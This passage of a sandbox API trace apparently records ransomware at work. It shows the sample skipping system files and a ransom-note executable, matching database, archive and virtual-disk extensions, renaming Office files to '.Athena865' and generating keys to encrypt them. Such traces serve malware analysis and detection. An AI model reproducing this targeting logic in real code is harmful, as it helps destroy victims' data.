Flags=0x8, Size=0x200300) returned 0x29a0020 [0147.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0147.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0147.817] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0147.818] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0147.818] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.818] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e0, lpName=0x0) returned 0x154 [0147.821] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e0) returned 0x100000 [0147.822] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0147.822] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0147.822] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.822] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0147.822] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0147.823] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0147.823] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0147.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0147.823] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0147.823] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0147.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0147.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0147.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0147.823] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0147.823] CloseHandle (hObject=0x154) returned 1 [0147.823] CloseHandle (hObject=0x17c) returned 1 [0147.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0147.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0147.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0147.824] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa53f300, ftCreationTime.dwHighDateTime=0x1c5aeb1, ftLastAccessTime.dwLowDateTime=0x51ca82a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xaa53f300, ftLastWriteTime.dwHighDateTime=0x1c5aeb1, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO.SHAPESHEET_F_COL.HXK", cAlternateFileName="VISIOS~1.HXK")) returned 1 [0147.824] lstrcmpiW (lpString1="VISIO.SHAPESHEET_F_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0147.824] lstrcmpiW (lpString1="VISIO.SHAPESHEET_F_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0147.824] lstrcmpiW (lpString1="VISIO.SHAPESHEET_F_COL.HXK", lpString2=".") returned 1 [0147.824] lstrcmpiW (lpString1="VISIO.SHAPESHEET_F_COL.HXK", lpString2="..") returned 1 [0147.824] lstrcmpiW (lpString1="VISIO.SHAPESHEET_F_COL.HXK", lpString2="windows") returned -1 [0147.824] lstrcmpiW (lpString1="VISIO.SHAPESHEET_F_COL.HXK", lpString2="bootmgr") returned 1 [0147.824] lstrcmpiW (lpString1="VISIO.SHAPESHEET_F_COL.HXK", lpString2="temp") returned 1 [0147.824] lstrcmpiW (lpString1="VISIO.SHAPESHEET_F_COL.HXK", lpString2="pagefile.sys") returned 1 [0147.824] lstrcmpiW (lpString1="VISIO.SHAPESHEET_F_COL.HXK", lpString2="boot") returned 1 [0147.824] lstrcmpiW (lpString1="VISIO.SHAPESHEET_F_COL.HXK", lpString2="ids.txt") returned 1 [0147.824] lstrcmpiW (lpString1="VISIO.SHAPESHEET_F_COL.HXK", lpString2="ntuser.dat") returned 1 [0147.824] lstrcmpiW (lpString1="VISIO.SHAPESHEET_F_COL.HXK", lpString2="perflogs") returned 1 [0147.824] lstrcmpiW (lpString1="VISIO.SHAPESHEET_F_COL.HXK", lpString2="MSBuild") returned 1 [0147.824] lstrlenW (lpString="VISIO.SHAPESHEET_F_COL.HXK") returned 26 [0147.824] lstrcpyW (in: lpString1=0x241e8a8, lpString2="VISIO.SHAPESHEET_F_COL.HXK" | out: lpString1="VISIO.SHAPESHEET_F_COL.HXK") returned="VISIO.SHAPESHEET_F_COL.HXK" [0147.824] lstrlenW (lpString="VISIO.SHAPESHEET_F_COL.HXK") returned 26 [0147.824] lstrlenW (lpString="Athena865") returned 9 [0147.824] lstrcmpiW (lpString1="F_COL.HXK", lpString2="Athena865") returned 1 [0147.824] lstrlenW (lpString=".dll") returned 4 [0147.824] lstrcmpiW (lpString1="VISIO.SHAPESHEET_F_COL.HXK", lpString2=".dll") returned 1 [0147.824] lstrlenW (lpString=".lnk") returned 4 [0147.824] lstrcmpiW (lpString1="VISIO.SHAPESHEET_F_COL.HXK", lpString2=".lnk") returned 1 [0147.824] lstrlenW (lpString=".ini") returned 4 [0147.824] lstrcmpiW (lpString1="VISIO.SHAPESHEET_F_COL.HXK", lpString2=".ini") returned 1 [0147.825] lstrlenW (lpString=".sys") returned 4 [0147.825] lstrcmpiW (lpString1="VISIO.SHAPESHEET_F_COL.HXK", lpString2=".sys") returned 1 [0147.825] lstrlenW (lpString="VISIO.SHAPESHEET_F_COL.HXK") returned 26 [0147.825] lstrlenW (lpString="bak") returned 3 [0147.825] lstrcmpiW (lpString1="HXK", lpString2="bak") returned 1 [0147.825] lstrlenW (lpString="ba_") returned 3 [0147.825] lstrcmpiW (lpString1="HXK", lpString2="ba_") returned 1 [0147.825] lstrlenW (lpString="dbb") returned 3 [0147.825] lstrcmpiW (lpString1="HXK", lpString2="dbb") returned 1 [0147.825] lstrlenW (lpString="vmdk") returned 4 [0147.825] lstrcmpiW (lpString1=".HXK", lpString2="vmdk") returned -1 [0147.825] lstrlenW (lpString="rar") returned 3 [0147.825] lstrcmpiW (lpString1="HXK", lpString2="rar") returned -1 [0147.825] lstrlenW (lpString="zip") returned 3 [0147.825] lstrcmpiW (lpString1="HXK", lpString2="zip") returned -1 [0147.825] lstrlenW (lpString="tgz") returned 3 [0147.825] lstrcmpiW (lpString1="HXK", lpString2="tgz") returned -1 [0147.825] lstrlenW (lpString="vbox") returned 4 [0147.825] lstrcmpiW (lpString1=".HXK", lpString2="vbox") returned -1 [0147.825] lstrlenW (lpString="vdi") returned 3 [0147.825] lstrcmpiW (lpString1="HXK", lpString2="vdi") returned -1 [0147.825] lstrlenW (lpString="vhd") returned 3 [0147.825] lstrcmpiW (lpString1="HXK", lpString2="vhd") returned -1 [0147.825] lstrlenW (lpString="vhdx") returned 4 [0147.825] lstrcmpiW (lpString1=".HXK", lpString2="vhdx") returned -1 [0147.825] lstrlenW (lpString="avhd") returned 4 [0147.825] lstrcmpiW (lpString1=".HXK", lpString2="avhd") returned -1 [0147.825] lstrlenW (lpString="db") returned 2 [0147.825] lstrcmpiW (lpString1="XK", lpString2="db") returned 1 [0147.826] lstrlenW (lpString="db2") returned 3 [0147.826] lstrcmpiW (lpString1="HXK", lpString2="db2") returned 1 [0147.826] lstrlenW (lpString="db3") returned 3 [0147.826] lstrcmpiW (lpString1="HXK", lpString2="db3") returned 1 [0147.826] lstrlenW (lpString="dbf") returned 3 [0147.826] lstrcmpiW (lpString1="HXK", lpString2="dbf") returned 1 [0147.826] lstrlenW (lpString="mdf") returned 3 [0147.826] lstrcmpiW (lpString1="HXK", lpString2="mdf") returned -1 [0147.826] lstrlenW (lpString="mdb") returned 3 [0147.826] lstrcmpiW (lpString1="HXK", lpString2="mdb") returned -1 [0147.826] lstrlenW (lpString="sql") returned 3 [0147.826] lstrcmpiW (lpString1="HXK", lpString2="sql") returned -1 [0147.826] lstrlenW (lpString="sqlite") returned 6 [0147.826] lstrcmpiW (lpString1="OL.HXK", lpString2="sqlite") returned -1 [0147.826] lstrlenW (lpString="sqlite3") returned 7 [0147.826] lstrcmpiW (lpString1="COL.HXK", lpString2="sqlite3") returned -1 [0147.826] lstrlenW (lpString="sqlitedb") returned 8 [0147.826] lstrcmpiW (lpString1="_COL.HXK", lpString2="sqlitedb") returned -1 [0147.826] lstrlenW (lpString="xml") returned 3 [0147.826] lstrcmpiW (lpString1="HXK", lpString2="xml") returned -1 [0147.826] lstrlenW (lpString="$er") returned 3 [0147.826] lstrcmpiW (lpString1="HXK", lpString2="$er") returned 1 [0147.826] lstrlenW (lpString="4dd") returned 3 [0147.826] lstrcmpiW (lpString1="HXK", lpString2="4dd") returned 1 [0147.826] lstrlenW (lpString="4dl") returned 3 [0147.826] lstrcmpiW (lpString1="HXK", lpString2="4dl") returned 1 [0147.826] lstrlenW (lpString="^^^") returned 3 [0147.826] lstrcmpiW (lpString1="HXK", lpString2="^^^") returned 1 [0147.827] lstrlenW (lpString="abs") returned 3 [0147.827] lstrcmpiW (lpString1="HXK", lpString2="abs") returned 1 [0147.827] lstrlenW (lpString="abx") returned 3 [0147.827] lstrcmpiW (lpString1="HXK", lpString2="abx") returned 1 [0147.827] lstrlenW (lpString="accdb") returned 5 [0147.827] lstrcmpiW (lpString1="L.HXK", lpString2="accdb") returned 1 [0147.827] lstrlenW (lpString="accdc") returned 5 [0147.827] lstrcmpiW (lpString1="L.HXK", lpString2="accdc") returned 1 [0147.827] lstrlenW (lpString="accde") returned 5 [0147.827] lstrcmpiW (lpString1="L.HXK", lpString2="accde") returned 1 [0147.827] lstrlenW (lpString="accdr") returned 5 [0147.827] lstrcmpiW (lpString1="L.HXK", lpString2="accdr") returned 1 [0147.827] lstrlenW (lpString="accdt") returned 5 [0147.827] lstrcmpiW (lpString1="L.HXK", lpString2="accdt") returned 1 [0147.827] lstrlenW (lpString="accdw") returned 5 [0147.827] lstrcmpiW (lpString1="L.HXK", lpString2="accdw") returned 1 [0147.827] lstrlenW (lpString="accft") returned 5 [0147.827] lstrcmpiW (lpString1="L.HXK", lpString2="accft") returned 1 [0147.827] lstrlenW (lpString="adb") returned 3 [0147.827] lstrcmpiW (lpString1="HXK", lpString2="adb") returned 1 [0147.827] lstrlenW (lpString="adb") returned 3 [0147.827] lstrcmpiW (lpString1="HXK", lpString2="adb") returned 1 [0147.827] lstrlenW (lpString="ade") returned 3 [0147.827] lstrcmpiW (lpString1="HXK", lpString2="ade") returned 1 [0147.827] lstrlenW (lpString="adf") returned 3 [0147.828] lstrcmpiW (lpString1="HXK", lpString2="adf") returned 1 [0147.829] lstrlenW (lpString="adn") returned 3 [0147.829] lstrcmpiW (lpString1="HXK", lpString2="adn") returned 1 [0147.829] lstrlenW (lpString="adp") returned 3 [0147.829] lstrcmpiW (lpString1="HXK", lpString2="adp") returned 1 [0147.829] lstrlenW (lpString="alf") returned 3 [0147.829] lstrcmpiW (lpString1="HXK", lpString2="alf") returned 1 [0147.829] lstrlenW (lpString="ask") returned 3 [0147.829] lstrcmpiW (lpString1="HXK", lpString2="ask") returned 1 [0147.829] lstrlenW (lpString="btr") returned 3 [0147.829] lstrcmpiW (lpString1="HXK", lpString2="btr") returned 1 [0147.829] lstrlenW (lpString="cat") returned 3 [0147.829] lstrcmpiW (lpString1="HXK", lpString2="cat") returned 1 [0147.829] lstrlenW (lpString="cdb") returned 3 [0147.829] lstrcmpiW (lpString1="HXK", lpString2="cdb") returned 1 [0147.829] lstrlenW (lpString="ckp") returned 3 [0147.829] lstrcmpiW (lpString1="HXK", lpString2="ckp") returned 1 [0147.829] lstrlenW (lpString="cma") returned 3 [0147.829] lstrcmpiW (lpString1="HXK", lpString2="cma") returned 1 [0147.829] lstrlenW (lpString="cpd") returned 3 [0147.829] lstrcmpiW (lpString1="HXK", lpString2="cpd") returned 1 [0147.830] lstrlenW (lpString="dacpac") returned 6 [0147.830] lstrcmpiW (lpString1="OL.HXK", lpString2="dacpac") returned 1 [0147.830] lstrlenW (lpString="dad") returned 3 [0147.830] lstrcmpiW (lpString1="HXK", lpString2="dad") returned 1 [0147.830] lstrlenW (lpString="dadiagrams") returned 10 [0147.830] lstrcmpiW (lpString1="_F_COL.HXK", lpString2="dadiagrams") returned -1 [0147.830] lstrlenW (lpString="daschema") returned 8 [0147.830] lstrcmpiW (lpString1="_COL.HXK", lpString2="daschema") returned -1 [0147.830] lstrlenW (lpString="db-journal") returned 10 [0147.830] lstrcmpiW (lpString1="_F_COL.HXK", lpString2="db-journal") returned -1 [0147.830] lstrlenW (lpString="db-shm") returned 6 [0147.830] lstrcmpiW (lpString1="OL.HXK", lpString2="db-shm") returned 1 [0147.830] lstrlenW (lpString="db-wal") returned 6 [0147.830] lstrcmpiW (lpString1="OL.HXK", lpString2="db-wal") returned 1 [0147.830] lstrlenW (lpString="dbc") returned 3 [0147.830] lstrcmpiW (lpString1="HXK", lpString2="dbc") returned 1 [0147.830] lstrlenW (lpString="dbs") returned 3 [0147.830] lstrcmpiW (lpString1="HXK", lpString2="dbs") returned 1 [0147.830] lstrlenW (lpString="dbt") returned 3 [0147.830] lstrcmpiW (lpString1="HXK", lpString2="dbt") returned 1 [0147.830] lstrlenW (lpString="dbv") returned 3 [0147.830] lstrcmpiW (lpString1="HXK", lpString2="dbv") returned 1 [0147.830] lstrlenW (lpString="dbx") returned 3 [0147.830] lstrcmpiW (lpString1="HXK", lpString2="dbx") returned 1 [0147.830] lstrlenW (lpString="dcb") returned 3 [0147.830] lstrcmpiW (lpString1="HXK", lpString2="dcb") returned 1 [0147.831] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK.Athena865") returned 84 [0147.831] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk.athena865"), dwFlags=0x1) returned 1 [0147.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0147.833] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=114) returned 1 [0147.833] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0147.833] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0147.833] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0147.833] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0147.834] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0147.834] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.834] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x154 [0147.842] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0147.850] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0147.850] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0147.850] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.850] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0147.850] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0147.851] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0147.851] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0147.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0147.851] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0147.851] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0147.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0147.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0147.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0147.851] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0147.851] CloseHandle (hObject=0x154) returned 1 [0147.851] CloseHandle (hObject=0x17c) returned 1 [0147.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0147.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0147.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0147.852] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa53f300, ftCreationTime.dwHighDateTime=0x1c5aeb1, ftLastAccessTime.dwLowDateTime=0x5203a3a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xaa53f300, ftLastWriteTime.dwHighDateTime=0x1c5aeb1, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO.SHAPESHEET_K_COL.HXK", cAlternateFileName="VISIOS~2.HXK")) returned 1 [0147.852] lstrcmpiW (lpString1="VISIO.SHAPESHEET_K_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0147.852] lstrcmpiW (lpString1="VISIO.SHAPESHEET_K_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0147.852] lstrcmpiW (lpString1="VISIO.SHAPESHEET_K_COL.HXK", lpString2=".") returned 1 [0147.852] lstrcmpiW (lpString1="VISIO.SHAPESHEET_K_COL.HXK", lpString2="..") returned 1 [0147.852] lstrcmpiW (lpString1="VISIO.SHAPESHEET_K_COL.HXK", lpString2="windows") returned -1 [0147.852] lstrcmpiW (lpString1="VISIO.SHAPESHEET_K_COL.HXK", lpString2="bootmgr") returned 1 [0147.852] lstrcmpiW (lpString1="VISIO.SHAPESHEET_K_COL.HXK", lpString2="temp") returned 1 [0147.852] lstrcmpiW (lpString1="VISIO.SHAPESHEET_K_COL.HXK", lpString2="pagefile.sys") returned 1 [0147.852] lstrcmpiW (lpString1="VISIO.SHAPESHEET_K_COL.HXK", lpString2="boot") returned 1 [0147.852] lstrcmpiW (lpString1="VISIO.SHAPESHEET_K_COL.HXK", lpString2="ids.txt") returned 1 [0147.852] lstrcmpiW (lpString1="VISIO.SHAPESHEET_K_COL.HXK", lpString2="ntuser.dat") returned 1 [0147.852] lstrcmpiW (lpString1="VISIO.SHAPESHEET_K_COL.HXK", lpString2="perflogs") returned 1 [0147.852] lstrcmpiW (lpString1="VISIO.SHAPESHEET_K_COL.HXK", lpString2="MSBuild") returned 1 [0147.852] lstrlenW (lpString="VISIO.SHAPESHEET_K_COL.HXK") returned 26 [0147.852] lstrcpyW (in: lpString1=0x241e8a8, lpString2="VISIO.SHAPESHEET_K_COL.HXK" | out: lpString1="VISIO.SHAPESHEET_K_COL.HXK") returned="VISIO.SHAPESHEET_K_COL.HXK" [0147.852] lstrlenW (lpString="VISIO.SHAPESHEET_K_COL.HXK") returned 26 [0147.852] lstrlenW (lpString="Athena865") returned 9 [0147.852] lstrcmpiW (lpString1="K_COL.HXK", lpString2="Athena865") returned 1 [0147.852] lstrlenW (lpString=".dll") returned 4 [0147.852] lstrcmpiW (lpString1="VISIO.SHAPESHEET_K_COL.HXK", lpString2=".dll") returned 1 [0147.852] lstrlenW (lpString=".lnk") returned 4 [0147.852] lstrcmpiW (lpString1="VISIO.SHAPESHEET_K_COL.HXK", lpString2=".lnk") returned 1 [0147.852] lstrlenW (lpString=".ini") returned 4 [0147.853] lstrcmpiW (lpString1="VISIO.SHAPESHEET_K_COL.HXK", lpString2=".ini") returned 1 [0147.853] lstrlenW (lpString=".sys") returned 4 [0147.853] lstrcmpiW (lpString1="VISIO.SHAPESHEET_K_COL.HXK", lpString2=".sys") returned 1 [0147.853] lstrlenW (lpString="VISIO.SHAPESHEET_K_COL.HXK") returned 26 [0147.853] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK.Athena865") returned 84 [0147.853] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk.athena865"), dwFlags=0x1) returned 1 [0147.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0147.855] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=113) returned 1 [0147.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0147.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0147.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0147.855] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0147.856] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0147.856] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.856] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x154 [0147.871] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0147.878] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0147.880] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0147.880] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0147.880] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0147.880] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0147.880] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0147.880] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0147.880] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0147.880] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0147.880] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0147.880] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0147.880] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0147.880] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0147.881] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0147.881] CloseHandle (hObject=0x154) returned 1 [0147.881] CloseHandle (hObject=0x17c) returned 1 [0147.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0147.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0147.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0147.881] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x5203a3a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO_COL.HXC", cAlternateFileName="VISIO_~1.HXC")) returned 1 [0147.881] lstrcmpiW (lpString1="VISIO_COL.HXC", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0147.881] lstrcmpiW (lpString1="VISIO_COL.HXC", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0147.881] lstrcmpiW (lpString1="VISIO_COL.HXC", lpString2=".") returned 1 [0147.882] lstrcmpiW (lpString1="VISIO_COL.HXC", lpString2="..") returned 1 [0147.882] lstrcmpiW (lpString1="VISIO_COL.HXC", lpString2="windows") returned -1 [0147.882] lstrcmpiW (lpString1="VISIO_COL.HXC", lpString2="bootmgr") returned 1 [0147.882] lstrcmpiW (lpString1="VISIO_COL.HXC", lpString2="temp") returned 1 [0147.882] lstrcmpiW (lpString1="VISIO_COL.HXC", lpString2="pagefile.sys") returned 1 [0147.882] lstrcmpiW (lpString1="VISIO_COL.HXC", lpString2="boot") returned 1 [0147.882] lstrcmpiW (lpString1="VISIO_COL.HXC", lpString2="ids.txt") returned 1 [0147.882] lstrcmpiW (lpString1="VISIO_COL.HXC", lpString2="ntuser.dat") returned 1 [0147.882] lstrcmpiW (lpString1="VISIO_COL.HXC", lpString2="perflogs") returned 1 [0147.882] lstrcmpiW (lpString1="VISIO_COL.HXC", lpString2="MSBuild") returned 1 [0147.882] lstrlenW (lpString="VISIO_COL.HXC") returned 13 [0147.882] lstrcpyW (in: 